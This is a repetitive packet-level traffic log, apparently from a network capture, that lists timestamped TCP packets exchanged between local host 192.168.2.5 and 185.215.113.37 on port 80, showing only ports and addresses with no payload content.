Oct 14, 2024 13:08:25.828962088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.828982115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.828991890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829001904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829026937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829037905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829051971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829051971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829063892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829071045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829075098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829087973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829117060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829145908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829155922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829165936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829181910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829201937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829617977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829627991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829638004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829670906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829691887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829720020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829730988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829741001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829761028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829763889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829777002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829786062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829788923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829797029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829807997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829818010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829833031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829859018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829885006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829895973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829905987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829916000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829926014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829929113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829957962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.829960108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829971075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829981089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829992056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.829993010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.830018997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.830027103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.830038071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.830043077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.830070972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.830333948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.830358028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.830368042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.830370903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.830398083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.830460072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.830471039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.830502987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.870172024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870186090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870198011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870245934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.870259047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870270014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870281935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870291948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.870292902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870316982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.870336056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.870359898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870369911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870379925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870390892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870399952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.870402098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870412111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870421886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.870421886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.870445013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.870460987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.871025085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871035099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871045113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871053934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871064901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871073961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871077061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.871084929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871113062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.871129990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.871159077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871169090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871179104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871189117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871198893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871198893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.871208906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871220112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871225119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.871231079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871248960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.871263027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.871490955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871501923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871512890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871521950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871532917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871536970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.871542931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871552944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.871567011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.871582985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.872292042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872303009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872312069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872322083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872332096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872337103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.872342110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872351885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.872351885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872361898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872368097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.872371912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872383118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872389078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.872392893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872404099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.872404099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.872431993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.885868073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.885880947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.885890961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.885935068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.885946035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.885951042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.885955095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.885965109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.885989904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.886006117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.886132002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886142015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886151075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886162043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886172056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.886172056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886182070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886193037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886203051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886203051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.886214018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886219978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.886235952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.886260033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.886291981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886301994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886312008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886321068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886331081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886334896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.886341095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886351109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886359930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886363983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.886378050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886379957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.886387110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.886395931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.886428118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.917896032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.917910099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.917920113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.917929888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.917973042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.917987108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918004036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918004036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918014050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918025017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918025970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918041945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918066025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918076038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918085098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918093920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918104887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918107986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918113947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918123007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918132067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918143988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918165922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918416977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918431044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918440104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918452024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918458939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918466091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918467999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918494940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918567896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918576956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918586969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918593884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918610096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918622017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918699980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918709993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918718100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918737888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918757915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918796062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918803930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918813944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918823957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918833017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918833017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918840885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918859959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918873072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918875933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918885946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918895006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918919086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918936968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.918948889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918957949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.918987036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.919151068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.919169903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.919181108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.919200897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.919212103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.919220924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.919243097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.919251919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.919260025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.919267893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.919276953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.919286013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.919296026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.919318914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959089041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959119081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959129095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959139109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959147930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959158897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959168911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959177971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959180117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959223032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959245920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959258080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959268093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959279060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959283113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959290028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959299088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959321976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959350109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959588051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959633112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959634066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959641933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959660053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959671021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959681988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959690094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959692001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959703922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959727049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959737062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959748030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959770918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959779978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959788084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959800959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959826946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959851027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959861040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959877014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959887981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959897995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959899902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959919930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959930897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.959959030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959975004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959985018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.959995031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.960002899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960010052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.960022926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.960036993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.960040092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960048914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960059881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960083008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.960108042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.960143089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960156918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960180998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960191011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960191011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.960212946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960216045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.960222960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960232973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960242033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.960246086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.960273981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.961041927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.961088896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.961136103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.961180925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.961211920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.961216927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.961221933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.961257935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.961275101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.961287022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.961297035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.961307049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.961318970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.961333990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.961354971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:25.999535084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.999562025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:25.999572992 CEST	80	49704	185.215.113.37	192.168.2.5
